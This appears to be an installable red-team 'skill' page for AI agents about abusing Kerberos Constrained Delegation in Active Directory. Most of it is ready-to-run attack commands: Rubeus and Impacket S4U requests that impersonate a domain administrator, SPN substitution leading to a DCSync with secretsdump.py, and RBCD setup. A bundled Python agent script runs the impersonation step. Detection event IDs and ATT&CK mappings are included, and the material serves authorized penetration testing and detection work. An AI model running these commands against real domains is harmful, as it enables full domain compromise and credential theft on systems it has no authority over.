red teaming

Exploiting Constrained Delegation Abuse

Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions for lateral movement and privilege escalation.

active-directoryconstrained-delegationkerberoslateral-movementprivilege-escalationred-teams4u2proxy
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Overview

Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.

When to Use

  • When performing authorized security testing that involves exploiting constrained delegation abuse
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate accounts with Constrained Delegation configured in the domain
  • Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
  • Exploit S4U2self and S4U2proxy to impersonate Domain Admin
  • Obtain service tickets for delegated services as a privileged user
  • Access delegated services (CIFS, LDAP, HTTP) on target hosts
  • Escalate to Domain Admin through Constrained Delegation abuse

MITRE ATT&CK Mapping

  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1550.003 - Use Alternate Authentication Material: Pass the Ticket
  • T1134.001 - Access Token Manipulation: Token Impersonation/Theft
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1021 - Remote Services

Workflow

Phase 1: Enumerate Constrained Delegation

  1. Find accounts with Constrained Delegation using PowerView:
    # Find users with Constrained Delegation
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
     
    # Find computers with Constrained Delegation
    Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
     
    # Using AD Module
    Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
  2. Using Impacket findDelegation.py:
    findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
  3. Using BloodHound CE:
    MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
    RETURN c.name, c.allowedtodelegate
  4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
    # UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
    Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol

Phase 2: Exploit with Rubeus (Windows)

  1. If you have the password or hash of the constrained delegation account:
    # Request TGT for the constrained delegation account
    Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
     
    # Perform S4U2self + S4U2proxy to impersonate administrator
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /ptt
     
    # Alternative: specify alternate service name
    Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
  2. Combined TGT request and S4U in single command:
    Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
      /msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt

Phase 3: Exploit with Impacket (Linux)

  1. Request service ticket via S4U protocol extensions:
    # Using getST.py with S4U
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
     
    # Using hash instead of password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
      -dc-ip 10.10.10.1 domain.local/svc_sql
     
    # Use the obtained ticket
    export KRB5CCNAME=administrator.ccache
    smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local

Phase 4: Alternate Service Name Abuse

  1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
    # Request CIFS ticket, then use it for LDAP (DCSync)
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -altservice LDAP/DC01.domain.local \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
     
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
  2. This technique works because the service name in the ticket is not cryptographically bound to the session key

Phase 5: Protocol Transition Attack

  1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
    # S4U2self obtains a forwardable ticket without requiring the user to authenticate
    # This means we can impersonate ANY user without their password
    getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
      -dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
  2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)

Tools and Resources

Tool Purpose Platform
Rubeus S4U Kerberos ticket manipulation Windows (.NET)
getST.py S4U service ticket requests (Impacket) Linux (Python)
findDelegation.py Delegation enumeration (Impacket) Linux (Python)
PowerView AD delegation enumeration Windows (PowerShell)
BloodHound CE Visual delegation path analysis Docker
Kekeo Advanced Kerberos toolkit Windows

Delegation Types Comparison

Type Attribute Scope Attack Complexity
Unconstrained TRUSTED_FOR_DELEGATION Any service Low (capture TGTs)
Constrained msDS-AllowedToDelegateTo Specific SPNs Medium (S4U abuse)
Constrained + Protocol Transition + TRUSTED_TO_AUTH_FOR_DELEGATION Specific SPNs Medium (no user auth needed)
Resource-Based (RBCD) msDS-AllowedToActOnBehalfOfOtherIdentity On target Medium (writable attribute)

Detection Signatures

Indicator Detection Method
S4U2self ticket requests Event 4769 with unusual service and impersonation
S4U2proxy forwarded tickets Event 4769 with delegation flags set
Alternate service name in ticket Mismatch between requested SPN and actual service access
Rubeus.exe execution EDR process detection, command-line logging
Delegation configuration changes Event 5136 for msDS-AllowedToDelegateTo modifications

Validation Criteria

  • Accounts with Constrained Delegation enumerated
  • Delegation targets (msDS-AllowedToDelegateTo) identified
  • S4U2self ticket obtained for target user
  • S4U2proxy ticket forwarded to delegation target
  • Privileged access to delegated service validated
  • Alternate service name substitution tested
  • Protocol transition capability assessed
  • Evidence documented with ticket exports and access proof
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md2.2 KB

API Reference: Kerberos Constrained Delegation Abuse

Delegation Types in AD

Type Attribute Risk
Unconstrained TrustedForDelegation CRITICAL
Constrained msDS-AllowedToDelegateTo HIGH
Constrained + Protocol Transition TrustedToAuthForDelegation CRITICAL
Resource-Based (RBCD) msDS-AllowedToActOnBehalfOfOtherIdentity HIGH

PowerShell Enumeration

Find Constrained Delegation

Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} `
    -Properties msDS-AllowedToDelegateTo, TrustedToAuthForDelegation

Find RBCD

Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity `
    | Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null}

Impacket — S4U Attack

getST.py — Request Service Ticket

getST.py domain/svc_account:password \
    -spn cifs/target.domain.local \
    -impersonate administrator \
    -dc-ip 10.10.10.1

Use Ticket

export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain/administrator@target.domain.local

Rubeus — S4U Attack

S4U2Self + S4U2Proxy

Rubeus.exe s4u /user:svc_account /rc4:NTLM_HASH \
    /impersonateuser:administrator \
    /msdsspn:cifs/target.domain.local /ptt

RBCD Abuse

Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_HASH \
    /impersonateuser:administrator \
    /msdsspn:cifs/target.domain.local /ptt

RBCD Setup with PowerShell

Set RBCD

Set-ADComputer target -PrincipalsAllowedToDelegateToAccount attacker$

Verify

Get-ADComputer target -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

BloodHound Cypher Queries

Constrained Delegation Paths

MATCH p=(u)-[:AllowedToDelegate]->(c:Computer)
RETURN u.name, c.name

RBCD Write Access

MATCH p=(u)-[:GenericWrite|WriteDacl|WriteOwner]->(c:Computer)
RETURN u.name, c.name

Detection — Event IDs

Event Description
4769 Kerberos Service Ticket (check for S4U)
4770 Service Ticket Renewed
4768 TGT Request (monitor for delegation)
standards.md0.8 KB

Standards and References - Constrained Delegation Abuse

MITRE ATT&CK References

Technique ID Name Tactic
T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting Credential Access
T1550.003 Pass the Ticket Lateral Movement
T1134.001 Token Impersonation/Theft Privilege Escalation
T1078.002 Valid Accounts: Domain Accounts Persistence

Key Research

  • ired.team: Kerberos Constrained Delegation abuse
  • HackTricks: Constrained Delegation methodology
  • GuidePoint Security: Delegating Like a Boss
  • ManageEngine: Constrained delegation attacks explained
  • SpecterOps: Delegation abuse research

Tools

workflows.md0.7 KB

Workflows - Constrained Delegation Abuse

S4U Attack Chain

1. Enumerate → findDelegation.py or PowerView
2. Obtain account credentials → password, hash, or TGT
3. S4U2self → Request ticket as target user to compromised service
4. S4U2proxy → Forward ticket to delegated service (CIFS/LDAP/HTTP)
5. Access → Use ticket for privileged access to target service
6. Escalate → DCSync via LDAP or file access via CIFS

Alternate Service Name Workflow

1. Delegation configured for: CIFS/DC01.domain.local
2. Request S4U ticket for CIFS as administrator
3. Modify SPN in ticket to LDAP/DC01.domain.local
4. Use modified ticket for DCSync (secretsdump.py -k)
5. Full domain compromise achieved

Scripts 1

agent.py4.4 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Agent for detecting and testing Kerberos constrained delegation abuse in AD."""

import argparse
import json
import subprocess
import sys
from datetime import datetime, timezone


def find_constrained_delegation():
    """Find accounts with constrained delegation configured."""
    findings = []
    if sys.platform != "win32":
        return findings
    ps_cmd = (
        "Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne '$null'} "
        "-Properties msDS-AllowedToDelegateTo,ObjectClass,SamAccountName,"
        "TrustedToAuthForDelegation,ServicePrincipalName "
        "| Select-Object SamAccountName,ObjectClass,"
        "@{N='DelegateTo';E={$_.'msDS-AllowedToDelegateTo'}},"
        "TrustedToAuthForDelegation,"
        "@{N='SPNs';E={$_.ServicePrincipalName}} "
        "| ConvertTo-Json -Depth 3"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=30
        )
        data = json.loads(result) if result.strip() else []
        return data if isinstance(data, list) else [data]
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return []


def find_rbcd_targets():
    """Find computers writable for Resource-Based Constrained Delegation."""
    findings = []
    if sys.platform != "win32":
        return findings
    ps_cmd = (
        "Get-ADComputer -Filter * -Properties "
        "msDS-AllowedToActOnBehalfOfOtherIdentity,PrincipalsAllowedToDelegateToAccount "
        "| Where-Object {$_.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null} "
        "| Select-Object Name,DNSHostName,"
        "@{N='AllowedToAct';E={$_.PrincipalsAllowedToDelegateToAccount}} "
        "| ConvertTo-Json -Depth 3"
    )
    try:
        result = subprocess.check_output(
            ["powershell", "-NoProfile", "-Command", ps_cmd],
            text=True, errors="replace", timeout=30
        )
        data = json.loads(result) if result.strip() else []
        return data if isinstance(data, list) else [data]
    except (subprocess.SubprocessError, json.JSONDecodeError):
        return []


def check_s4u_abuse(account_name, domain, dc_ip, password=None, hash_val=None):
    """Test S4U2Self/S4U2Proxy delegation abuse via Impacket."""
    cmd = ["getST.py", f"{domain}/{account_name}"]
    if password:
        cmd.extend(["-password", password])
    elif hash_val:
        cmd.extend(["-hashes", f":{hash_val}"])
    cmd.extend(["-spn", "cifs/target.domain.local",
                "-impersonate", "administrator", "-dc-ip", dc_ip])
    try:
        result = subprocess.check_output(cmd, text=True, errors="replace", timeout=30)
        return {"status": "success", "output": result[:500]}
    except (subprocess.SubprocessError, FileNotFoundError):
        return {"status": "failed", "note": "getST.py not available"}


def main():
    parser = argparse.ArgumentParser(
        description="Detect and test constrained delegation abuse (authorized testing only)"
    )
    parser.add_argument("--enumerate", action="store_true", help="Find delegation configs")
    parser.add_argument("--rbcd", action="store_true", help="Find RBCD targets")
    parser.add_argument("--output", "-o", help="Output JSON report")
    args = parser.parse_args()

    print("[*] Constrained Delegation Abuse Detection Agent")
    report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}}

    if args.enumerate:
        cd = find_constrained_delegation()
        report["findings"]["constrained_delegation"] = cd
        print(f"[*] Accounts with constrained delegation: {len(cd)}")
        for acct in cd:
            s2u = "S4U2Self+Proxy" if acct.get("TrustedToAuthForDelegation") else "S4U2Proxy only"
            print(f"  {acct.get('SamAccountName', '?')} -> {acct.get('DelegateTo', [])} ({s2u})")

    if args.rbcd:
        rbcd = find_rbcd_targets()
        report["findings"]["rbcd_targets"] = rbcd
        print(f"[*] RBCD configured computers: {len(rbcd)}")

    total = sum(len(v) if isinstance(v, list) else 0 for v in report["findings"].values())
    report["risk_level"] = "HIGH" if total > 0 else "LOW"

    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2)
        print(f"[*] Report saved to {args.output}")
    else:
        print(json.dumps(report, indent=2))


if __name__ == "__main__":
    main()
Keep exploring